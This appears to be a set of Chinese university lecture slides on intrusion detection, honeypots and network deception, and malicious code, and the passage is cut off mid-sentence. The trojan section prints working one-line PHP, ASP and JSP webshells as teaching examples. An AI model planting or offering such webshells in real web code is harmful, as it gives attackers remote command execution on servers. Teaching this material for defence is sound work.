版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第十三章入侵检测与网络欺骗入侵检测方法2Snort简介网络欺骗入侵检测概述1内容提纲34Why?防火墙:根据规则对进出网络的信息进行过滤本身问题:可能存在安全漏洞成为被攻击的对象配置不当:起不到作用网络边界:有缺口(如Modem,无线)不是万能:入侵教程、工具随处可见,攻击模式的多样性,并不能阻止所有攻击内部攻击(Abuse):并不是所有攻击均来自外部误用(Misuse)突破边界不可避免,且难以发现FireEye的M-Trends2020Reports中,发现攻击者隐藏或者驻留时间的中位数为56天。近几年的威胁检测时间都在不断缩短,主要是由于对于内部威胁发现较早,极大减少了中位数,但外部威胁的驻留时间还有141天,近5个月之久Why?1980年4月,JamesP.Anderson:《ComputerSecurityThreatMonitoringandSurveillance》:入侵检测开山之作第一次详细阐述了入侵检测的概念对计算机系统威胁进行分类:外部渗透、内部渗透和不法行为提出了利用审计跟踪数据监视入侵活动的思想从1984年到1986年:乔治敦大学的DorothyDenning和SRI/CSL的PeterNeumann:研究出了一个实时入侵检测系统模型—IDES(入侵检测专家系统)1990,加州大学戴维斯分校的L.T.Heberlein等人开发出了NSM(NetworkSecurityMonitor):第一次直接将网络流作为审计数据来源:新的一页(HIDS,NIDS)起源1987,Denning:IntrusionDetection(ID)istodetectawiderangeofsecurityviolationsfromattemptedbreak-insbyoutsiderstosystemspenetrationandabusesbyinsiders
入侵检测定义2000,AllenIntrusionDetection(ID)istomonitorandcollectsystemandnetworkinformationandanalyzesittodetermineifanattackoranintrusionhasoccurred.入侵检测:通过从计算机系统或网络的关键点收集信息并进行分析,从中发现系统或网络中是否有违反安全策略的行为和被攻击的迹象入侵检测定义被入侵的对象:网络计算机应用(控制了计算机不一定能控制应用)
几个英文泀汇:Attackvs.IntrusionAttackvs.IntrudeAttackervs.Intruder(successfulattacker)Victim(thetargetofanattack)vs.CompromisedHostVulnerability入侵检测定义
IDS:IntrusionDetectionSystem
Acombinationofhardwareandsoftwarethatmonitorsandcollectssystemandnetworkinformationandanalyzesittodetermineifanattackoranintrusionhasoccurred.SomeIDsystemscanautomaticallyrespondtoanintrusion.(入侵检测系统:实施入侵检测的软件与硬件组合)入侵检测定义1987,Denning:Denning入侵检测模型IDES1998:通用入侵检测系统模型(CIDF)入侵检测模型CIDF入侵检测分类根据检测方法来分:基于特征的入侵检测基于异常的入侵检测混合的入侵检测根据数据源来分:基于应用的入侵检测系统(Application-basedIDS,AIDS)基于主机的入侵检测系统(Host-basedIDS,HIDS)基于网络的入侵检测系统(Network-basedIDS,NIDS)混合的入侵检测系统(HybridIDS)NIDS入侵检测分类HIDS入侵检测分类入侵检测方法2Snort简介网络欺骗入侵检测概述1内容提纲34检测方法两种主要的检测方法:特征检测(signaturedetectionormisusedetectionorsignature-baseddetectionormisuse-baseddetection)异常检测(anomalydetectionoranomaly-baseddetection)检测方法一、特征检测方法一:特征检测方法特征检测定义:收集非正常操作的行为特征(signature),建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,系统就认为这种行为是入侵。特征:静态特征:如
signatureanalysiswhichistheinterpretationofaseriesofpackets(orapieceofdatacontainedinthosepackets)thataredetermined,inadvance,torepresentaknownpatternofattack动态特征:如网络统计数据、计算机或应用系统中的审计记录、日志、文件的异常变化、硬盘、内存大小的变化特征描述:描述语言针对的是已知攻击!检测率取决于:攻击特征库的正确性与完备性1.模式匹配法将收集到的入侵特征转换成模式,存放在模式数据库中。检测过程中将收集到的数据信息与模式数据库进行匹配,从而发现攻击行为。模式匹配的具体实现手段多种多样,可以是通过字符串匹配寻找特定的指令数据,也可以是采用正规的数学表达式描述数据负载内容。技术成熟,检测的准确率和效率都很高特征检测法实现方式2.专家系统法入侵活动被编码成专家系统的规则:“If条件Then动作”的形式。入侵检测系统根据收集到的数据,通过条件匹配判断是否出现了入侵并采取相应动作实现上较为简单,其缺点主要是处理速度比较慢,原因在于专家系统采用的是说明性的表达方式,要求用解释系统来实现,而解释器比编译器的处理速度慢。另外,维护规则库也需要大量的人力精力,由于规则之间具有联系性,更改任何一个规则都要考虑对其他规则的影响。特征检测法实现方式3.状态迁移法利用状态转换图描述并检测已知的入侵模式。入侵检测系统保存入侵相关的状态转换图表,并对系统的状态信息进行监控,当用户动作驱动系统状态向入侵状态迁移时触发入侵警告。状态迁移法能够检测出多方协同的慢速攻击,但是如果攻击场景复杂的话,要精确描述系统状态非常困难。因此,状态迁移法通常与其他的入侵检测法结合使用。特征检测法实现方式二、异常检测方法二:异常检测方法异常检测(误用检测)首先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏离时即被认为是入侵。行为:需要一组能够标识用户特征、网络特征或者系统特征的测量参数,如CPU利用率、内存利用率、网络流量等等。基于这组测量参数建立被监控对象的行为模式并检测对象的行为变化。两个关键问题:选择的测量参数能否反映被监控对象的行为模式如何界定正常和异常如何定义正常行为?正常行为的学习依赖于学习数据的质量,但如何评估数据的质量呢?可以利用信息论的熵、条件熵、相对熵和信息增益等概念来定量地描述一个数据集的特征,分析数据源的质量。数据源评价定义14-1.给定数据集合X,对任意x
∈Cx,定义熵H(X)为:在数据集中,每个唯一的记录代表一个类,熵越小,数据也就越规则,根据这样的数据集合建立的模型的准确性越好。数据源评价定义14-2.定义条件熵H(X|Y)为:其中,P(x,y)为x和y的联合概率,P(x|y)为给定y时x的条件概率。安全审计数据通常都具有时间上的序列特征,条件熵可以用来衡量这种特征,按照上面的定义,令X=(e1,e2,…,en),令Y=(e1,e2,…,ek),其中k<n,条件熵H(X|Y)可以衡量在给定Y以后,剩下的X的不确定性还有多少。条件熵越小,表示不确定性越小,从而通过已知预测未知的可靠性越大。数据源评价案例:系统调用系列与LSM监控点系列数据源评价案例:系统调用系列与LSM监控点系列数据源评价以统计理论为基础建立用户或者系统的正常行为模式。主体的行为模式常常由测量参数的频度、概率分布、均值、方差等统计量来描述。抽样周期可以短到几秒钟长至几个月。异常:将用户的短期特征轮廓与长期特征轮廓进行比较,如果偏差超过设定的阈值,则认为用户的近期活动存在异常。入侵判定思路较为简单,但是在具体实现时误报率和漏报率都较高,此外,对于存在时间顺序的复杂攻击活动,统计分析法难以准确描述
1、统计分析法常用统计模型操作模型,对某个时间段内事件的发生次数设置一个阈值,如果事件变量X出现的次数超过阈值,就有可能是异常;平均值和标准差模型巴尔科夫过程模型
1、统计分析法统计分析法要解决四个问题选取有效的统计数据测量点,生成能够反映主机特征的会话向量。根据主体活动产生的审计记录,不断更新当前主体活动的会话向量。采用统计方法分析数据,判断当前活动是否符合主体的历史行为特征。随着时间变化,学习主体的行为特征,更新历史记录。
1、统计分析法将非法程序及非法应用与合法程序、合法数据区分开来,与人工免疫系统对自体和非自体进行类别划分相类似。Forrest采用监控系统进程的方法实现了Unix平台的人工免疫入侵检测系统。2、人工免疫机器学习异常检测方法通过机器学习模型或算法对离散数据序列进行学习来获得个体、系统和网络的行为特征,从而实现攻击行为的检测3、机器学习法3、机器学习法什么是异常?在大多数异常检测场景里,异常指与大部分其他对象不同的对象异常(离群点)可以分类三类:全局离群点:指一个数据对象显著偏离数据集中的其余对象情境离群点:对于某个特定情境,这个对象显著偏离其他对象集体离群点:数据对象的一个子集作为整体显著偏离整个数据集基于机器学习的异常检测
基于机器学习的异常检测有标签数据:标签主要是异常和正常,其中正常的数量远大于异常。在使用有监督算法做异常检测的时候,有两点需要特别注意:选择合理的分类技术来处理不平衡数据。误报率和召回率之间做合理权衡。在入侵检测的领域,通常相比召回率,更需要降误报率一些。不然根本处理不完这么多异常。有监督异常检测有监督学习异常检测存在的问题:恶意行为如果与以前所见的严重背离,将无法被归类,因此将无法被检测到需要大量人工对训练数据进行标注任何错误标记的数据或人为引入的偏见都会严重影响系统对新活动进行正确分类的能力有监督异常检测无标签数据应用这种算法的时候,其实是做了这样一个假设:正常对象遵守远比离群点频繁的模式,正常对象不必全部落入一个具有高度相似性的簇,而是可以形成多个簇,每个簇具有不同的特征。然而,离群点必须是远离正常对象的簇。这类算法的目标是将一个得分打在每个样本上,反映该样本异常的程度。无监督异常检测无监督异常检测算法算法很多,如基于密度的异常检测、基于邻近度的异常检测、基于模型的异常检测、基于概率统计的异常检测、基于聚类的异常检测、OneClassSVM的异常检测、iForest的异常检测、PCA异常检测、AutoEncoder异常检测、序列数据的异常检测等,可分为五大类:统计和概率模型、线性模型、基于相似度衡量的模型、集成异常检测和模型融合、特定领域的异常检测无监督异常检测训练集包含少量带标签的样本。使用有标记的正常对象的信息,对于给定的对象集合,发现异常样本或得分带标签样本是正常样本:使用这些正常样本与邻近的无标签对象一起训练一个正常对象的模型,然后用这个模型来检测离群点。(白名单)带标签样本是异常样本:这种情况比较棘手,因为少量离群点不代表所有离群点,因此仅基于少量离群点而构建的离群点模型不太有效。弱监督异常检测异常检测方法基于模型的异常检测基于距离(邻近度)的异常检测基于密度的异常检测基于聚类的异常检测基于机器学习的异常检测基于机器学习的异常检测根据模型本身的特点进行分类,大致可以分为以下几种:统计检验方法基于深度的方法基于偏差的方法基于距离的方法基于密度的方法深度学习方法基于机器学习的异常检测使用这类方法基于的基本假设是:正常的数据是遵循特定分布形式的,并且占了很大比例,而异常点的位置和正常点相比存在比较大的偏移统计检验方法从点空间的边缘定位异常点,按照不同程度的需求,决定层数及异常点的个数基于深度的方法从点空间的边缘定位异常点,按照不同程度的需求,决定层数及异常点的个数基于深度的方法IsolationForest这是一种比较简单的统计方法,最初是为单维异常检测设计的。给定一个数据集后,对每个点进行检测,如果一个点自身的值与整个集合的指标存在过大的偏差,则该点为异常点基于偏差的方法计算每个点与周围点的距离,来判断一个点是不是存在异常。基于的假设是正常点的周围存在很多个近邻点,而异常点距离周围点的距离都比较远:DB、kNN、k-Means等基于距离的方法DB模型kNN针对所研究的点,计算它的周围密度和其临近点的周围密度,基于这两个密度值计算出相对密度,作为异常分数。即相对密度越大,异常程度越高。基于的假设是,正常点与其近邻点的密度是相近的,而异常点的密度和周围的点存在较大差异。局部异常因子算法(LOF)、KNN基于密度的方法目前最常用于异常检测的深度学习方法是Autoencoder深度学习方法目前最常用于异常检测的深度学习方法是Autoencoder深度学习方法目前最常用于异常检测的深度学习方法是Autoencoder深度学习方法目前最常用于异常检测的深度学习方法是Autoencoder深度学习方法在实际应用中,如何选择哪种机器学习算法进行异常检测呢?当已标记数据量充足的情况下,优先选用有监督学习,效果一般不错;当只有少数攻击样本的情况下,可考虑用半监督学习进行异常检测;当遇到一个新的安全场景,没有样本数据或是以往积累的样本失效的情况下,先用无监督学习来解决异常检测问题,当捕获到异常并人工审核积累样本到一定量后,可以转化为半监督学习,之后就是有监督学习
机器学习算法的选择异常检测方法小结异常检测(误用检测)可以检测未知攻击!?不在预定义的合法行为集中,就一定是攻击吗?检测率取决于:正常行为模式的正确性与完备性以及监控的频率系统能针对用户行为的改变进行自我调整和优化,但随着检测模型的逐步精确,检测过程会消耗更多的系统资源两种方法比较检测的攻击类型:已知与未知特征:已知攻击特征与已知正常行为特征性能:误报率(rateoffalsepositive)与漏报率(rateoffalsenegative)对每种方法,各在何种情况下发生误报、漏报?三、入侵检测评价指标评价指标四、入侵检测标准化IETF的Internet草案工作组(IntrusionDetectionWorkingGroup,IDWG)专门负责定义入侵检测系统组件之间,及不同厂商的入侵检测系统之间的通信格式。但目前只有相关的草案(Draft),还未形成正式的RFC文档。入侵警报协议(IntrusionAlarmProtocol,IAP)入侵检测交换协议(IntrusionDetectionExchangeProtocol,IDXP)标准化IETF的Internet草案工作组(IntrusionDetectionWorkingGroup,IDWG)专门负责定义入侵检测系统组件之间,及不同厂商的入侵检测系统之间的通信格式。但目前只有相关的草案(Draft),还未形成正式的RFC文档。入侵警报协议(IntrusionAlarmProtocol,IAP)入侵检测交换协议(IntrusionDetectionExchangeProtocol,IDXP)标准化DARPA和加州大学Davis分校的安全实验室在1998年提出了公共入侵检测框架(CommonIntrusionDetectionFramework,CIDF)标准标准化国标标准化标准化的困境标准化入侵检测方法2Snort简介网络欺骗入侵检测概述1内容提纲34/入侵检测系统SnortSnort是采用C语言编写的一款开源基于网络的入侵检测系统,具有小巧灵活、配置简便、功能强大、检测效率高等特点。Snort主要采用特征检测的工作方式,通过预先设置的检测规则对网络数据包进行匹配,发现各种类型的网络攻击SnortSnort由三个模块组成:由数据包解析器、检测引擎、日志与报警子系统网络数据包首先交给数据包解析器进行解析处理,处理结果提交给检测引擎与用户设定的检测规则进行匹配。在此基础上,检测引擎的输出交给日志与报警子系统处理,日志与报警子系统将依据系统设置,记录数据包信息或者发出警报。SnortSnort规则Snort/SnortSnort典型部署图BLINDINGSNORT:BREAKINGTHEMODBUSOTPREPROCESSOR
(ByUriKatz|April14,2022)参考:Snort安全漏洞入侵检测方法2Snort简介网络欺骗入侵检测概述1内容提纲34网络欺骗网络欺骗(CyberDeception)最早由美国普渡大学的GeneSpafford于1989年提出,它的核心思想是:采用引诱或欺骗战略,诱使入侵者相信网络与信息系统中存在有价值的、可利用的安全弱点,并具有一些可攻击窃取的资源(当然这些资源是伪造的或不重要的),进而将入侵者引向这些错误的资源,同时安全可靠地记录入侵者的所有行为,以便全面地了解攻击者的攻击过程和使用的攻击技术。网络欺骗网络欺骗用途吸引攻击流量,影响入侵者使之按照防护方的意志进行行动检测入侵者的攻击并获知其攻击技术和意图,对入侵行为进行告警和取证,收集攻击样本增加入侵拖延攻击者攻击真实目标者的工作量、入侵复杂度以及不确定性,为网络防护提供足够的信息来了解入侵者,这些信息可以用来强化现有的安全措施一、蜜罐(Honeypot)蜜罐(Honeypot)是最早采用欺骗技术的网络安全系统。定义:蜜罐是一种安全资源,其价值在于被探测、攻击或突破目标:就是使它被扫描探测、攻击或被突破,同时能够很好地进行安全控制蜜罐根据部署方式可以分为生产型蜜罐和研究型蜜罐蜜罐分类根据交互程度或逼真程度的高低可以分为低交互蜜罐、中交互蜜罐和高交互蜜罐蜜罐分类按照实现方式可将蜜罐分为物理蜜罐和虚拟蜜罐蜜罐分类低交互蜜罐的功能相对简单,一般包括:①攻击数据捕获与处理,在一个或多个协议服务端口上监听,当有攻击数据到来时捕获并处理这些攻击数据,必要的时候还需给出响应,将处理后的攻击数据记录到本地日志,同时向平台服务端(如果有的话)实时推送;②攻击行为分析,对攻击日志进行多个维度(协议维,时间维,地址维等)的统计分析,发现攻击行为规律,并用可视化方法展示分析结果蜜罐功能与关键技术高交互蜜罐的功能相对复杂,一般包括:网络欺骗:对蜜罐进行伪装,使它在被攻击者扫描时表现为网络上的真实主机空间欺骗技术网络流量仿真网络动态配置多重地址转换创建组织信息欺骗蜜罐功能与关键技术高交互蜜罐的功能相对复杂,一般包括:攻击捕获:采集攻击者对网络实施攻击的相关信息,通过分析捕获的信息,可以研究攻击者所利用的系统漏洞,获取新的攻击方式,甚至是零日攻击。难点是要在防止被攻击者识破的情况下尽可能多地记录下系统状态信息,还有通信加密问题蜜罐功能与关键技术高交互蜜罐的功能相对复杂,一般包括:数据控制:限制蜜罐向外发起的连接,确保蜜罐不会成为攻击者的跳板数据分析:对蜜罐采集到的信息进行多个维度(协议维,时间维,地址维,代码维等)的统计分析,发现攻击行为规律,并用可视化方法展示分析结果蜜罐功能与关键技术经过多年的发展,有很多商用或开源的蜜罐项目,如honeyd,TheHoneynetProject,狩猎女神,Specter,Mantrap等。开源软件平台gitbub上可以找到大量各种类型的蜜罐(/paralax/awesome-honeypots/blob/master/README_CN.md给出了一个比较完整的蜜罐资源列表及网络链接),如数据库类蜜罐(如HoneyMysql,MongoDB等)、Web类蜜罐(如ShadowDaemon,StrutsHoneypot,WebTrap等)、服务类蜜罐(如Honeyprint,SMBHoneypot,honeyntp,honeyprint等)、工业控制类蜜罐(如Conpot,Gaspot,SCADAHoneynet,gridpot)蜜罐相关项目用蜜罐检测Kerberoasting攻击用蜜罐检测Kerberoasting攻击/paralax/awesome-honeypots蜜罐资源链接如何发现蜜罐?二、蜜网(Honeynet)蜜网(Honeynet)是由多个蜜罐组成的欺骗网络,蜜网中通常包含不同类型的蜜罐,可以在多个层面捕获攻击信息,以满足不同的安全需求蜜网既可以用多个物理蜜罐来构建,也可以由多个虚拟蜜罐组成。目前,通过虚拟化技术(如VMware)可以方便地把多个虚拟蜜罐部署在单个服务器主机上蜜网最早的蜜网项目是德国曼海姆大学LanceSpitzner在1999年开始发起,并于2000年6月成立的蜜网项目(TheHoneynetProject)目标:“研究黑客团体的工具、策略、动机,并且共享所获得的知识”2001.12,该小组宣布成立“蜜网研究联盟”北京大学的狩猎女神项目(TheArtemisProject)蜜网三、网络欺骗防御有关“网络欺骗防御”这一名词的内涵和外延目前还没有一个统一的、权威的定义本书的观点:网络欺骗防御是一种体系化的防御方法,它将蜜罐、蜜网、混淆等欺骗技术同防火墙、入侵检测系统等传统防护机制有机结合起来,构建以欺骗为核心的网络安全防御体系网络欺骗防御Garter对网络欺骗防御(CyberDeceptionDefense)的定义为:使用骗局或者假动作来阻挠或者推翻攻击者的认知过程,扰乱攻击者的自动化工具,延迟或阻断攻击者的活动,通过使用虚假的响应、有意的混淆、假动作、误导等伪造信息达到“欺骗”的目的网络欺骗防御根据网络空间欺骗防御的作用位置不同,可以将其分为不同的层次,包括:网络层欺骗终端层欺骗应用层欺骗数据层欺骗网络欺骗防御技术国内外已有一些网络欺骗防御产品:TrapXSecurity的DeceptionGridDARPA的Prattle美国Sandia国家实验室的Hades长亭科技2016年推出基于欺骗伪装技术的内网威胁感知系统谛听(D-Sensor)幻阵是我国默安科技研发的一款基于攻击混淆与欺骗防御技术的威胁检测防御系统网络欺骗防御系统把黑客变成免费渗透测试服务人员德克萨斯大学达拉斯分校的研究人员应用机器学习开发更有效的蜜罐式网络防御——智能DeepDigDeepDig本章小结IDS的应用困境(误报与漏报)与未来(不再作为一个独立的安全防护产品?)没有防火墙(边界不设防)和IDS能实现网络安全目标吗?讨论作业参考内容一、IPS
IPS:
IntrusionPreventionSystem入侵检测+主动防御主动防御:预先对入侵活动和攻击性网络流量进行拦截,避免其造成任何损失,而不是简单地在恶意流量传送时或传送后才发出警报发现攻击作出响应存在问题:由于增加了主动阻断能力,检测准确程度的高低对于IPS来说十分关键存在问题:多种技术融合误报导致合法数据被阻塞相关概念:入侵防御系统(IPS)IDS与IPSIDS与IPSIDS与IPSIDS与IPSIDS帮助网络系统快速发现网络攻击IPS综合了防火墙、IDS、漏洞扫描与评估等安全技术,可以主动地、积极地防范、阻止系统入侵IMS(IntrusionManagementSystem,入侵管理系统)包含了IDS、IPS的功能,并通过一个统一的平台进行统一管理IDS、IPS与IMS二、机器学习算法人工智能与机器学习机器学习机器学习根据先验信息的不同,机器学习可分为:监督学习无监督学习半监督学习强化学习机器学习监督学习(SupervisedLearning):通过标注值告诉模型在给定输入的情况下应该输出什么值,由此获得尽可能接近真实映射方式的优化模型监督学习模型Mp示例输入x标记预测输出机器学习无监督学习(UnsupervisedLearning):通过比对样本之间的某种联系实现对样本的数据分析机器学习半监督学习(SemisupervisedLearning):训练集包含少量带标签的样本,更多是没有标签的数据。半监督的目标是使用有标记的正常对象的信息,对于给定的对象集合,发现异常样本或得分机器学习强化学习(ReinforcementLearning,RL):根据反馈信息来调整机器行为以实现自动决策弱监督学习机器学习机器学习算法地图机器学习生成对抗网络(
GenerativeAdversarialNetworks,GANs)对抗机器学习(AdversarialMachineLearning,AML)GAN与AML机器学习生成对抗网络(GenerativeAdversarialNetwork,GAN):机器学习对抗机器学习(AdversarialMachineLearning):机器学习基本问题基本问题:特征提取规则构建模型评估机器学习基本问题特征提取:机器学习基本问题规则构建:机器学习基本问题模型评估:机器学习任务回归(Regression)分类(Classification)聚类(Clustering)降维(DimensionalityReduction)机器学习任务机器学习任务回归(Regression)分类(Class)与单分类(OneClass)聚类(Clustering)降维(DimensionalityReduction)机器学习任务回归机器学习任务分类机器学习任务单分类(OneClass)机器学习任务聚类机器学习任务降维机器学习任务机器学习任务机器学习与网络安全三、入侵检测研究方向研究领域高速网络中的数据获取及处理问题光分流器,并行、分布式处理:有什么问题?寻找更好的数据来描述用户、程序行为的模式如何评价数据源?(信息率中的熵)降低误报率和漏报率:最难!
事件关联、机器学习、大数据分析综合集成:与其它安全产品联动,UIM,安全态势感知APT攻击检测APT检测检测难点:
攻击行为特征提取难(滞后性):0day漏洞,未知特征木马攻击单点隐蔽性强:动态行为和静态文件的隐蔽性攻击渠道多样化:多种攻击方法攻击空间不确定:任何一个网络暴露点都有可能是攻击目标,攻防双方信息不对称APT检测检测难点:攻击持续和隐蔽时间长:传统的检测方式是基于单个时间点的实时检测,难以对跨度如此长的攻击进行有效跟踪。慢速、分阶段实施的APT攻击淹没在大数据中。大数据的价值低密度性,使得安全分析工具很难聚焦在价值点上。基于大数据分析的APT检测由于网络中的安全数据具有体量巨大、来源多样、增涨速度快和价值密度低等大数据特征,兴起了基于网络大数据的安全检测:实现海量网络安全数据的深度关联分析,并对宽时间窗口内的多类型安全事件进行智能关联,在检测APT方面有优势研究领域机器学习用于异常检测解决未知威胁的检测问题Darktrace公司的免疫防御:基于网络流量SecBI公司的入侵防御:基于日志DarktraceDarktrace使用独特的无监督机器学习算法对网络数据进行大规模分析,并基于所看到的证据进行数十亿次基于概率的计算。它不依赖于过去威胁的知识,而是独立地对数据进行分类,并检测突出的模式。由此,它形成了对网络中“正常”行为的理解,这些行为与设备、用户或任一实体的组有关,并检测出与这种不断演变的“生活模式”的偏离,这种偏离可能指向一个正在发展的威胁。DarktraceDarktarceDarktraceDarktrace使用贝叶斯概率作为其无监督机器学习方法的一部分发现以前未知的关系独立的数据进行分类检测引人注目的模式,这些模式定义了可能被认为是正常的行为如果需要,在没有预先假设的情况下工作Darktrace在贝叶斯框架中采用多种无监督、有监督和深度学习技术,企业免疫系统可以整合大量异常行为的弱指标,从而产生一个单一的明确的威胁概率度量DarktraceDarktrace通过对设备网络行为的大量不同度量的分析,从数学上描述了构成“正常”行为的因素,包括:服务器访问、数据量、计时的事件、证书使用、连接类型、容量和方向、上传/下载的方向性、文件类型、管理活动、资源和信息请求Darktrace用聚类方法对设备进行分组(ClusteringDevices),进而对设备正常行为建模Darktrace网络拓扑分析发现细小的拓扑异常变化Darktrace动态演化网络行为建模Darktrace使用递归贝叶斯估计(RecursiveBayesianEstimation)动态生成组成网络的设备状态的单一完整视图Darktrace利用深度学习(DeepLearning)增强建模过程DarktraceDarktrace专利信息DarktraceDarktrace专利信息Darktrace小结:利用机器学习进行网络行为分析DarktraceSecBIDarktrace基于网络流量,而SecBI则是基于日志SecBISecBISecBI第十四章恶意代码内容提纲2木马的工作原理3木马隐藏技术4恶意代码概述1恶意代码检测与防御一、定义恶意代码(maliciouscode):执行恶意功能的计算机代码不同厂商(或学术机构)在恶意代码的分类(一般都包括病毒、蠕虫和木马,其它的则有所不同)和定义上有所不同不同时间段内,恶意代码的分类和定义也会有变化恶意代码美国科恩博士(最早定义):计算机病毒是一种计算机程序,它通过修改其他程序把自己的一个拷贝或演化的拷贝插入到其他程序中实施感染传染特性,即病毒可以自我繁殖演化特性,即病毒在感染过程中可以改变自身的一些特征,以逃避查杀计算机病毒赛门铁克PeterSzor给出定义:计算机病毒是一种计算机程序,它递归地、明确地复制自己或其演化体。“明确递归”来区别病毒与正常程序的复制过程,“递归”反映了一个文件在被病毒感染以后会进一步感染其他文件,“明确”强调了自我复制是病毒的主要功能。计算机病毒《中华人民共和国计算机信息系统安全保护条例》(1994.2.18)的第二十八条:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码”。计算机病毒几个典型特性传染性潜伏性可触发性寄生性非授权执行性破坏性计算机病毒典型计算机病毒基于功能模块引导模块搜索模块感染模块表现模块标识模块计算机病毒计算机蠕虫(Worm):一种可以独立运行,并通过网络传播的恶性代码。具有计算机病毒的一些特性,如传播性、隐蔽性、破坏性等,但蠕虫也具有自己的特点,如漏洞依赖性等,需要通过网络系统漏洞进行传播,另外蠕虫也不需要宿主文件,有的蠕虫甚至只存在于内存中计算机蠕虫典型计算机蠕虫基于功能模块搜索模块攻击模块传输模块负载模块控制模块计算机蠕虫计算机木马RFC1244(RequestforComments:1244)中是这样描述木马的:
“木马是一种程序,它能提供一些有用的,或是仅仅令人感兴趣的功能,但是它还有用户所不知道的其他功能,例如在你不了解的情况下拷贝文件或窃取你的密码。”
计算机木马RFC1244的定义可以澄清一些模糊概念:首先木马程序并不一定实现某种对用户来说有意义或有帮助的功能,但却会实现一些隐藏的、危险的功能;其次木马所实现的主要功能并不为受害者所知,只有程序编制者最清楚。第三,这个定义暗示“有效负载”是恶意的。计算机木马目前,大多数安全专家统一认可的定义是:木马是一段能实现有用的或必需的功能的程序,但是同时还完成一些不为人知的功能。计算机木马木马程序具有很大的危害性,主要表现在:自动搜索已中木马的计算机;管理对方资源,如复制文件、删除文件、查看文件内容、上传文件、下载文件等;跟踪监视对方屏幕;直接控制对方的键盘、鼠标;随意修改注册表和系统文件;共享被控计算机的硬盘资源;监视对方任务且可终止对方任务;远程重启和关闭机器。计算机木马从木马所实现的功能角度可分为:破坏型密码发送型远程访问型键盘记录木马DoS攻击木马代理木马反弹端口型木马从木马形态上分,可以分为有文件木马和无文件木马有文件木马:木马本身是一个可执行文件无文件木马:木马不是一个可执行文件,需要依靠其它软件来触发执行计算机木马无文件木马:木马不是一个独立可执行的文件,而是通过特定方式隐藏在其它文件中,通过其它软件来触发执行。例如:Office文档中的宏;一段可解释执行的语言代码,如Java、Python代码段;Shell脚本;配置文件中一段脚本;注册表中的一个键值等。通常功能比较简单,只是攻击的第一步,执行后再下载更多的攻击代码到目标机器中计算机木马计算机木马一句话木马是指只有一行代码的木马,利用Web编程语言(asp、php、jsp、aspx)的某个函数来执行攻击命令,也称为webshell。PHP一句话木马示例:<?phpeval($_POST[sb])?><?phpassert($_POST[sb]);?><?$_POST['sa']($_POST['sb'],$_POST['sc'])?><?php@eval($_POST['cmd']);?>计算机木马木马ASP一句话木马示例:<%evalrequest("sb")%><%executerequest("sb")%><%'<%loop<%:%><%executerequest("sb")%><%ExecuteGlobalrequest("sb")%>JSP一句话木马示例:<%
if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>微软表示,在2020年8月至2021年1月期间,每月检测到大约14万个网络恶意shell,相比去年报告的7.7万个,几乎翻了一倍其它:一句话木马讨论:一句话木马是不是无文件木马?计算机木马病毒、蠕虫、木马的区别恶意代码二、恶意代码概念的演变2000年以前:病毒时代背景:DOS退场,Windows9x/NT广泛应用,促进了网络应用进入日常生活中在DOS时代,感染式病毒(Virus)、蠕虫(Worm)和特洛伊木马(Trojan),都是相对窄而互斥的技术概念:Virus是主流恶意代码概念的发展史2000~2005:蠕虫大爆发时代Happy99蠕虫利用劫持电子邮件的方式传播并快速流行,拉开了蠕虫时代大幕2011年:红色代码(CodeRed)及其变种“红色代码II”(CodeRedII)大爆发:扫描溢出型蠕虫的典型代表恶意代码概念的发展史2005~2010:木马泛滥时代随着端系统的安全性的提高(DEP、ALSR等技术的应用),蠕虫的影响开始减弱2005年,以灰鸽子、冰河为代表的远程控制程序在技术上趋于成熟,感染数量持续增加2007~2009:地下经济运作日趋“成熟”,基于木马的黑色产业链2007年上半年:毒王“AV终结者”恶意代码概念的发展史2010~2020:虚拟货币和隐秘网络带动的勒索新对抗2013年开始,勒索软件、挖矿木马逐步泛滥2016:Mirai爆发,致瘫Dyn2017:WannaCry全球大爆发2019:WannaMine挖矿木马爆发恶意代码概念的发展史传统意义上的病毒越来越少,当前主流恶意代码形式是木马(占绝大多数)和蠕虫不同恶意代码形式的界限越来越模糊,采用的技术有融合的趋势恶意代码360恶意代码恶意代码种类
2007年下半年新增病毒的比例(瑞星)恶意代码种类
2018年CNCERT中国互联网网络安全报告恶意代码种类
2019年CNCERT中国互联网网络安全报告恶意代码种类
2019年CNCERT中国互联网网络安全报告内容提纲2木马的工作原理3木马的隐藏技术4恶意代码概述1恶意代码检测与防御远程控制木马木马体系结构:C/S架构,木马程序+控制端程序木马程序即是服务器端程序。控制端程序作为客户端,用于攻击者远程控制被植入木马的机器。远程控制木马与远程控制软件的区别?隐蔽性:木马被隐藏,避免被发现;非授权性:木马程序不经授权控制主机远程控制木马的运行步骤远程控制木马进行网络入侵的过程:配置木马传播木马启动木马建立连接远程控制配置木马:通信配置:监听端口、DNS、IP等功能配置:文件读取、键盘监听、截屏等安装配置:安装路径、文件名、是否删除安装文件、注册表启动项等配置木马案例:冰河木马的配置界面配置木马远程控制木马的运行步骤远程控制木马进行网络入侵的过程:配置木马传播木马启动木马建立连接远程控制传播木马:木马植入木马植入技术可以大概分为主动植入与被动植入两类。主动植入:攻击者主动将木马程序种到本地或者是远程主机上,这个行为过程完全由攻击者主动掌握。被动植入:攻击者预先设置某种环境,然后被动等待目标系统用户的某种可能的操作,只有这种操作执行,木马程序才有可能植入目标系统。1、主动植入主动植入一般需要通过某种方法获取目标主机的一定权限,然后由攻击者自己动手进行安装。按照目标系统是本地还是远程的区分,这种方法又有本地安装与远程安装之分。1、主动植入由于在一个系统植入木马,不仅需要将木马程序上传到目标系统,还需要在目标系统运行木马程序,所以主动植入需要具有目标系统的写权限和可执行权限。如果仅仅具有写权限,只能将木马程序上传但不能执行,这种情况属于被动植入,因为木马仍然需要被动等待以某种方式被执行。(1)本地安装本地安装就是直接在本地主机上进行安装。一个人很难确保除了自己之外自己的计算机不会被其他人使用。而在经常更换使用者的公共场所(如网吧、饭店、宾馆、咖啡店等)的计算机上,这种安装木马的方法更是非常普遍、有效。(2)远程安装远程安装就是通过常规攻击手段获得目标主机的一定权限后,将木马上传到目标主机上,并使其运行起来。例如,某些系统漏洞的存